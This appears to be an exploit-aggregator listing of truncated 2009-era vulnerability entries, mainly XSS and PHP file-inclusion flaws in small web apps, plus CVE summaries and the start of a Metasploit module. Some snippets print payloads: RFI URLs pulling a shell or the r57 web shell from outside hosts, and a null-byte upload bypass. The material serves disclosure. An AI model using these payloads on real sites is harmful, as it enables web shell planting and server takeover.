CVE-2009-4032

Multiple cross-site scripting XSS vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to 1 graph.php, 2 include/topgraphheader.php, 3 lib/htmlform.php, and 4 lib/timespansettings.php, as demonstrated by the a graphend or b graphstart...

CVE-2009-4032: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to 1 graph.php, 2 include/topgraphheader.php, 3 lib/htmlform.php, and 4 lib/timespansettings.php, as demonstrated by the a graphend or b graphstart...

OpenCSP Multiple Remote File Include Vulnerability

No description provided by source. @================================================================================================================================================@ + Location : notepad + Situs : wwwdotmanadocodingdotnet + Contact : engelpemulaatgmaildotcom + Download Script :...

OpenCSP Multiple Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================== OpenCSP Multiple Remote File Include Vulnerability ==================================================...

klinza Professional CMS 5.0.1 - 'menulast.php' Local File Inclusion

source: https://www.securityfocus.com/bid/37127/info The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...

outreach project tool 1.2.6 - Remote File Inclusion

Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://server/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all...

klinza Professional CMS 5.0.1 - menulast.php Local File Inclusion

klinza Professional CMS 5.0.1 - menulast.php Local File Inclusion source: https://www.securityfocus.com/bid/37127/info The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow...

NukeHall <= 0.3 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg NukeHall = 0.3 Multiple Remote File Include Vulnerability Download Script : http://sourceforge.net/project/NukeHall/files/ Dork : die"Hacking attempt"; :D Vuln : ./nukehall0.3/admin/modules/blocks.php line 28 ?php...

PT-2009-5845 · Php · Php

Name of the Vulnerable Software and Affected Versions: PHP versions 5.3.x before 5.3.1 Description: The issue in PHP does not recognize the safe mode include dir directive, which allows context-dependent attackers to have an unknown impact by triggering the failure of PHP scripts that perform...

Outreach Project Tool 1.2.6 Remote File Inclusion

Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://target/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all...

CVE-2009-3559: Undefined Security Weakness

main/streams/plainwrapper.c in PHP 5.3.x before 5.3.1 does not recognize the safemodeincludedir directive, which allows context-dependent attackers to have an unknown impact by triggering the failure of PHP scripts that perform include or require operations, as demonstrated by a script that...

CVE-2009-3559

main/streams/plainwrapper.c in PHP 5.3.x before 5.3.1 does not recognize the safemodeincludedir directive, which allows context-dependent attackers to have an unknown impact by triggering the failure of PHP scripts that perform include or require operations, as demonstrated by a script that...

Telepark Wiki 2.4.23 XSS / Code Execution

Abysssec Inc Public Advisory Title : Telepark Wiki Multiple Remote Vulnerabilities Affected Version : ",$POST'wikiFileName',strfileuploaded.".\n"; for bypass you can use : image.jpg%00.php note : use group variable for changing directory to another writeable directory FIXED: line 22: if...

Joomla / Mambo Component com_ezine Remote File Include vulnerability

No description provided by source. Joomla / Mambo Component comezine Remote File Include vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : October 20 2009 Hello My Name Is : . | | / / ||\ / | |/ /\ \ / \ / \ \ || \ / | / / Y \ | | || / / || \ /|...

Telepark Wiki v2.4.23 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ===================================================== Telepark Wiki v2.4.23 Multiple Remote Vulnerabilities ===================================================== Title : Telepark Wiki Multiple Remote Vulnerabilities Affected Version :...

Article Directory Index.PHP Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================= Article Directory Index.PHP Remote File Include Vulnerability ============================================================= An attacker can exploit this issue via a browser. The...

Article Directory Index.PHP Remote File Include Vulnerability

Article Directory Index.PHP Remote File Include Vulnerability. Webapps exploit for php platform An attacker can exploit this issue via a browser. The following proof-of-concept URI is available:...

Article Directory Index.PHP Remote File Include Vulnerability

No description provided by source. An attacker can exploit this issue via a browser. The following proof-of-concept URI is available: http://www.example.com/index.php?page=http://www.example2.com/r57.txt?http://www.goodayelinks.com/index.php?page=http://www.nykola.ch/Sefirotr0x/r57.txt?...

Deliveryscript Multiple Remote File include vulnerability

No description provided by source. Deliveryscript Multiple Remote File include vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : October 30, 2009 Software Information + Vendor : http://www.deliveryscript.com/ + Download : - + version : v25 or lower...

Matt Wright guestbook.pl Arbitrary Command Execution

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Matt Wright...